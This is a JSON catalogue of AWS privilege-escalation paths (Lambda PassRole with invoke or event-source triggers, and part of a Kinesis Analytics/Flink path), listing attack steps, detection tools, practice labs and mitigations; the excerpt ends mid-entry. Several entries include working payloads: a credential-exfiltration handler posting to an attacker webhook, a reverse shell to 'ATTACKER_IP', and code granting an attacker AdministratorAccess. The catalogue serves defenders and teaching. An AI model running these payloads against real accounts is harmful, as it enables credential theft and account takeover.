          "description": "Once the application reaches RUNNING state, the Flink job manager loads the malicious JAR and executes the job entry point. The AWS SDK within the JAR automatically discovers the service execution role's credentials through the container metadata service, making IAM API calls without any explicit credential configuration.\n"
        },
        {
          "from": "flink_code",
          "to": "admin",
          "label": "If role has admin or IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the service execution role has AdministratorAccess or IAM write permissions (iam:AttachUserPolicy), the Flink job code successfully attaches AdministratorAccess to the starting principal. The privilege escalation is confirmed by checking IAM after the application reaches RUNNING state.\n"
        },
        {
          "from": "flink_code",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the service execution role has elevated but non-admin permissions, the Flink job can still access Kinesis streams, read from S3, interact with databases, or perform other privileged actions within the role's permission boundary.\n"
        },
        {
          "from": "flink_code",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the service execution role only has minimal permissions, the Flink job cannot perform meaningful privilege escalation. The 2-5 minute startup time makes this a slower path to discover the limited outcome.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/kinesisanalytics/kinesisanalytics-001.yaml"
  },
  {
    "id": "lambda-001",
    "name": "iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction",
    "category": "new-passrole",
    "services": [
      "iam",
      "lambda"
    ],
    "description": "A principal with `iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction` can create a new Lambda function and attach an existing IAM Role to it. When the function is invoked, the code executes with the permissions of the attached role. The level of access gained depends on the permissions of the available roles.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts lambda.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A role must exist that trusts lambda.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws lambda create-function --function-name privesc-function --runtime python3.9 --role \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" --handler index.handler --zip-file fileb://exploit.zip",
          "description": "Create a Lambda function with the privileged role and malicious code"
        },
        {
          "step": 2,
          "command": "aws lambda invoke --function-name privesc-function output.txt",
          "description": "Invoke the function to execute code with elevated privileges"
        },
        {
          "step": 3,
          "command": "cat output.txt",
          "description": "View the output containing credentials or results of privileged API calls"
        }
      ],
      "pacu": [
        {
          "step": 1,
          "command": "run lambda__backdoor_new_roles --arn [YOUR_USER_OR_ROLE_ARN] --role-arn [PRIVILEGED_ROLE]",
          "description": "Use Pacu to create a backdoored Lambda function with the target role. Note that the Pacu payload does require lambda:AddPermission and events:PutTargets which is outside the scope of this path."
        },
        {
          "step": 2,
          "command": "run lambda__backdoor_new_roles --cleanup",
          "description": "Call the module in cleanup mode when you are done"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Lambda function need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificLambdaRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"lambda.amazonaws.com\"\n    }\n  }\n}\n```\n\n\n- Monitor CloudTrail for unusual Lambda function creation followed by immediate invocation\n- Monitor CloudTrail for Lambda function creation by principals who do not usually create functions\n- Monitor CloudTrail for roles being passed to Lambda that haven't been used before\n- Monitor and alert on Lambda function creation with privileged roles\n- Regularly audit Lambda functions for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Lambda service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackingTheCloud - PassRole + Lambda CreateFunction + InvokeFunction Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreatefunction-lambdainvokefunction"
      },
      {
        "title": "HackTricks - AWS - Lambda Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/index.html#iampassrole-lambdacreatefunction-lambdainvokefunction--lambdainvokefunctionurl"
      },
      {
        "title": "IAM Vulnerable - PassExistingRoleToNewLambdaThenInvoke",
        "url": "https://github.com/BishopFox/iam-vulnerable/blob/main/modules/free-resources/privesc-paths/privesc15-PassExistingRoleToNewLambdaThenInvoke.tf"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 15",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "ec2-001",
      "cloudformation-001"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L129",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L103"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+lambda-createfunction+lambda-invokefunction",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "Lambda-PassExistingRoleToNewLambdaThenInvoke",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "lambda_privesc",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS Lambda privilege escalation"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS Lambda security labs",
        "scenario": "https://cybr.com/courses/aws-lambda-security-labs/",
        "scenarioPricingModel": "paid"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "lambda:CreateFunction",
          "resourceConstraints": "Must have permission to create Lambda functions"
        },
        {
          "permission": "lambda:InvokeFunction",
          "resourceConstraints": "Must have permission to invoke Lambda functions"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        },
        {
          "permission": "iam:ListAttachedRolePolicies",
          "resourceConstraints": "Useful for understanding what permissions a role has"
        },
        {
          "permission": "lambda:ListFunctions",
          "resourceConstraints": "Helpful for reconnaissance to see existing Lambda functions"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction` permissions. This principal will create a Lambda function with a privileged role attached and invoke it to gain elevated privileges.\n"
        },
        {
          "id": "lambda_function",
          "label": "New Lambda Function",
          "type": "resource",
          "description": "The newly created Lambda function with malicious code. The function is created with `lambda:CreateFunction` and configured to use a privileged IAM role via `iam:PassRole`. The function code is designed to exfiltrate credentials or perform privileged actions.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the lambda Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the Lambda function during creation. This role must trust lambda.amazonaws.com as a principal in its trust policy. When the Lambda function is invoked, it executes with this role's permissions.\n"
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Execute Attack via AWS SDK",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code uses the AWS SDK to directly perform privileged actions using the target role's credentials. The function can call IAM APIs to elevate the starting principal's permissions, create access keys, modify policies, or perform other administrative actions. Since the function runs with the target role's credentials automatically available, no credential exfiltration is needed.\n\nExample malicious Lambda code:\n```python\nimport boto3\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n    # Attach admin policy to starting user\n    iam.attach_user_policy(\n        UserName='attacker-user',\n        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n    )\n    return {'statusCode': 200, 'body': 'Privilege escalation complete'}\n```\n\nThis is the most direct approach - the Lambda function immediately modifies IAM or performs other privileged actions using the target role's permissions.\n"
        },
        {
          "id": "method_webhook_exfil",
          "label": "Method 2: Exfiltrate Credentials to Webhook",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the target role's temporary credentials from the Lambda environment and exfiltrates them to an attacker-controlled webhook or HTTP endpoint. The credentials are automatically available in environment variables that the AWS SDK uses.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\nimport urllib.request\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Exfiltrate to webhook\n    req = urllib.request.Request(\n        'https://attacker-webhook.com/collect',\n        data=json.dumps(creds).encode(),\n        headers={'Content-Type': 'application/json'}\n    )\n    urllib.request.urlopen(req)\n\n    return {'statusCode': 200}\n```\n\nThe attacker receives the credentials remotely and can use them from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 3: Reverse Shell Connection",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function establishes a reverse shell connection back to an attacker-controlled listener, providing interactive access. From within the reverse shell, the attacker can access the target role's credentials and run arbitrary AWS CLI commands.\n\nExample malicious Lambda code:\n```python\nimport socket\nimport subprocess\nimport os\n\ndef lambda_handler(event, context):\n    # Establish reverse shell\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect(('ATTACKER_IP', 4444))\n\n    # Redirect stdin/stdout/stderr to socket\n    os.dup2(s.fileno(), 0)\n    os.dup2(s.fileno(), 1)\n    os.dup2(s.fileno(), 2)\n\n    # Start shell\n    subprocess.call(['/bin/sh', '-i'])\n\n    return {'statusCode': 200}\n```\n\nThis provides an interactive shell session within the Lambda execution environment where the attacker can access credentials and execute AWS CLI commands with the target role's permissions. The session lasts until the Lambda function times out (max 15 minutes).\n"
        },
        {
          "id": "method_output_exfil",
          "label": "Method 4: Exfiltrate Credentials to Output",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the execution role's temporary credentials from the Lambda environment and returns them in the function's response output. This allows the attacker to read the credentials directly from the Lambda invocation result without needing an external webhook or reverse shell.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Return credentials in the response\n    return {\n        'statusCode': 200,\n        'body': json.dumps({\n            'message': 'Credentials exfiltrated',\n            'credentials': creds\n        })\n    }\n```\n\nThe attacker invokes the function and reads the credentials from the response output. These credentials can then be exported and used from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account by using the credentials or results from the Lambda function execution.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin, the attacker gains partial privilege escalation. This could include access to sensitive data (S3, RDS, DynamoDB) or the ability to pursue additional escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions or no interesting permissions, the privilege escalation may not provide meaningful additional access to the attacker.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "lambda_function",
          "label": "iam:PassRole + lambda:CreateFunction",
          "description": "The attacker creates a new Lambda function and passes a privileged role to it. The function is created with malicious code (typically in a ZIP file) that will execute when invoked.\n\nCommand:\n```bash\naws lambda create-function \\\n  --function-name privesc-function \\\n  --runtime python3.9 \\\n  --role \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --handler index.handler \\\n  --zip-file fileb://exploit.zip\n```\n\nThe exploit.zip contains code to exfiltrate credentials or perform privileged actions.\n"
        },
        {
          "from": "lambda_function",
          "to": "target_role",
          "label": "Function assumes role",
          "description": "When the Lambda function is invoked, the Lambda service automatically assumes the target role on behalf of the function. The function code then executes with all the permissions granted to this role.\n"
        },
        {
          "from": "target_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "description": "The attacker invokes the Lambda function with malicious code that uses the AWS SDK to directly perform privileged actions. This is the most direct approach - the function immediately modifies IAM or performs other privileged actions using the target role's permissions.\n\nCommand:\n```bash\naws lambda invoke \\\n  --function-name privesc-function \\\n  output.txt\n```\n"
        },
        {
          "from": "target_role",
          "to": "method_webhook_exfil",
          "label": "Option B",
          "description": "The attacker invokes the Lambda function with malicious code that retrieves the target role's temporary credentials and exfiltrates them to an attacker-controlled webhook. The attacker can then use these credentials from any location.\n\nCommand:\n```bash\naws lambda invoke \\\n  --function-name privesc-function \\\n  output.txt\n```\n"
        },
        {
          "from": "target_role",
          "to": "method_reverse_shell",
          "label": "Option C",
          "description": "The attacker invokes the Lambda function with malicious code that establishes a reverse shell connection back to an attacker-controlled listener, providing interactive access with the target role's credentials.\n\nCommand:\n```bash\naws lambda invoke \\\n  --function-name privesc-function \\\n  output.txt\n```\n"
        },
        {
          "from": "target_role",
          "to": "method_output_exfil",
          "label": "Option D",
          "branch": "D",
          "description": "The attacker designed the malicious function code to retrieve the execution role's temporary credentials and return them in the Lambda response output. The attacker can then read the credentials directly from the invocation result."
        },
        {
          "from": "method_sdk_attack",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the SDK attack directly grants the starting principal full administrative access by attaching admin policies or creating admin access keys.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the SDK attack can still grant useful additional permissions by modifying IAM within the role's permission scope or accessing sensitive resources.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the SDK attack will fail to perform meaningful privilege escalation. The attacker would need to choose a different exploitation method.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the exfiltrated credentials provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the exfiltrated credentials may not provide significant additional access beyond what the starting principal already had.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the reverse shell provides interactive access with full administrative credentials. The attacker can run any AWS CLI commands until the Lambda function times out.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the reverse shell provides interactive access to explore the available permissions and manually exploit them for partial privilege escalation.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the reverse shell still provides interactive code execution capability which could be useful for reconnaissance, but may not provide significant privilege escalation.\n"
        },
        {
          "from": "method_output_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "D1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent administrative permissions, the credentials returned in the output provide the attacker with full administrative access to the AWS account from any location."
        },
        {
          "from": "method_output_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "D2",
          "condition": "some_permissions",
          "description": "If the execution role has elevated but non-administrative permissions, the credentials returned in the output provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources."
        },
        {
          "from": "method_output_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "D3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the credentials returned in the output may not provide significant additional access beyond what the starting principal already had."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/lambda/lambda-001.yaml"
  },
  {
    "id": "lambda-002",
    "name": "iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping",
    "category": "new-passrole",
    "services": [
      "iam",
      "lambda"
    ],
    "description": "A principal with `iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping` can create a Lambda function with a privileged role and configure it to be automatically triggered by an event source (such as DynamoDB streams, Kinesis, or SQS). This allows the attacker to execute code with elevated privileges without manually invoking the function.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts lambda.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess)",
        "An event source must exist (DynamoDB stream, Kinesis stream, or SQS queue)"
      ],
      "lateral": [
        "A role must exist that trusts lambda.amazonaws.com to assume it",
        "An event source must exist (DynamoDB stream, Kinesis stream, or SQS queue)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws lambda create-function --function-name privesc-triggered \\\n  --runtime python3.9 --role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --handler index.handler --zip-file fileb://exploit.zip\n",
          "description": "Create a Lambda function with the privileged role"
        },
        {
          "step": 2,
          "command": "aws lambda create-event-source-mapping --function-name privesc-triggered \\\n  --event-source-arn arn:aws:dynamodb:REGION:ACCOUNT_ID:table/TABLE_NAME/stream/STREAM_ID \\\n  --starting-position LATEST\n",
          "description": "Configure the function to be triggered automatically by an event source"
        },
        {
          "step": 3,
          "command": "aws dynamodb put-item --table-name TABLE_NAME --item '{\"id\":{\"S\":\"trigger\"}}'",
          "description": "Trigger the function by adding an item to the DynamoDB table"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Lambda function need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificLambdaRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"lambda.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual Lambda function creation followed by immediate execution via event source mappings\n- Monitor CloudTrail for Lambda function creation by principals who do not usually create functions\n- Monitor CloudTrail for roles being passed to Lambda that haven't been used before\n- Monitor and alert on Lambda function creation with privileged roles\n- Regularly audit Lambda functions for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Lambda service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - Lambda Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/index.html#iampassrole-lambdacreatefunction-lambdacreateeventsourcemapping"
      },
      {
        "title": "IAM Vulnerable - Lambda PassRole with Trigger",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 16",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "lambda-001",
      "lambda-003"
    ],
    "detectionTools": {
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L655",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L108",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L141"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+lambda-createfunction+createeventsourcemapping-dynamodb",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "Lambda-PassRoleToNewLambdaThenTrigger",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "lambda_privesc",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS attacks"
      }
    },
    "toolSupport": {
      "pmapper": true,
      "iamVulnerable": true
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "lambda:CreateFunction",
          "resourceConstraints": "Must have permission to create Lambda functions"
        },
        {
          "permission": "lambda:CreateEventSourceMapping",
          "resourceConstraints": "Must have permission to create event source mappings"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        },
        {
          "permission": "iam:ListAttachedRolePolicies",
          "resourceConstraints": "Useful for understanding what permissions a role has"
        },
        {
          "permission": "lambda:ListFunctions",
          "resourceConstraints": "Helpful for reconnaissance to see existing Lambda functions"
        },
        {
          "permission": "lambda:ListEventSourceMappings",
          "resourceConstraints": "Useful for seeing existing event source mappings"
        },
        {
          "permission": "dynamodb:PutItem",
          "resourceConstraints": "Depending on what event source you configured, you might need permission to trigger it. We're using dynamodb:PutItem here only as an example. Ideally you will create an event source for something that is already happening so that you don't have to do anything manually."
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping` permissions. This principal will create a Lambda function with a privileged role attached and configure it to be automatically triggered by an event source.\n"
        },
        {
          "id": "lambda_function",
          "label": "New Lambda Function",
          "type": "resource",
          "description": "The newly created Lambda function with malicious code. The function is created with `lambda:CreateFunction` and configured to use a privileged IAM role via `iam:PassRole`. Unlike lambda-001, this function does not require manual invocation - it will be automatically triggered by configured event sources.\n"
        },
        {
          "id": "event_source",
          "label": "Event Source Mapping",
          "type": "resource",
          "description": "An event source mapping configured with `lambda:CreateEventSourceMapping` that automatically triggers the Lambda function. Common event sources include DynamoDB streams, Kinesis streams, or SQS queues. When events occur in the source, the Lambda function is automatically invoked with the target role's permissions.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the lambda Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the Lambda function during creation. This role must trust lambda.amazonaws.com as a principal in its trust policy. When the Lambda function is automatically triggered by events, it executes with this role's permissions without requiring manual invocation.\n"
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Execute Attack via AWS SDK",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code uses the AWS SDK to directly perform privileged actions using the target role's credentials. The function can call IAM APIs to elevate the starting principal's permissions, create access keys, modify policies, or perform other administrative actions. Since the function runs with the target role's credentials automatically available, no credential exfiltration is needed.\n\nExample malicious Lambda code:\n```python\nimport boto3\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n    # Attach admin policy to starting user\n    iam.attach_user_policy(\n        UserName='attacker-user',\n        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n    )\n    return {'statusCode': 200, 'body': 'Privilege escalation complete'}\n```\n\nThis is the most direct approach - the Lambda function immediately modifies IAM or performs other privileged actions using the target role's permissions when automatically triggered.\n"
        },
        {
          "id": "method_webhook_exfil",
          "label": "Method 2: Exfiltrate Credentials to Webhook",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the target role's temporary credentials from the Lambda environment and exfiltrates them to an attacker-controlled webhook or HTTP endpoint. The credentials are automatically available in environment variables that the AWS SDK uses.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\nimport urllib.request\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Exfiltrate to webhook\n    req = urllib.request.Request(\n        'https://attacker-webhook.com/collect',\n        data=json.dumps(creds).encode(),\n        headers={'Content-Type': 'application/json'}\n    )\n    urllib.request.urlopen(req)\n\n    return {'statusCode': 200}\n```\n\nThe attacker receives the credentials remotely when the function is automatically triggered and can use them from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 3: Reverse Shell Connection",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function establishes a reverse shell connection back to an attacker-controlled listener when automatically triggered, providing interactive access. From within the reverse shell, the attacker can access the target role's credentials and run arbitrary AWS CLI commands.\n\nExample malicious Lambda code:\n```python\nimport socket\nimport subprocess\nimport os\n\ndef lambda_handler(event, context):\n    # Establish reverse shell\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect(('ATTACKER_IP', 4444))\n\n    # Redirect stdin/stdout/stderr to socket\n    os.dup2(s.fileno(), 0)\n    os.dup2(s.fileno(), 1)\n    os.dup2(s.fileno(), 2)\n\n    # Start shell\n    subprocess.call(['/bin/sh', '-i'])\n\n    return {'statusCode': 200}\n```\n\nThis provides an interactive shell session within the Lambda execution environment where the attacker can access credentials and execute AWS CLI commands with the target role's permissions. The session lasts until the Lambda function times out (max 15 minutes).\n"
        },
        {
          "id": "method_output_exfil",
          "label": "Method 4: Exfiltrate Credentials to Output",
          "type": "payload",
          "color": "#99ccff",
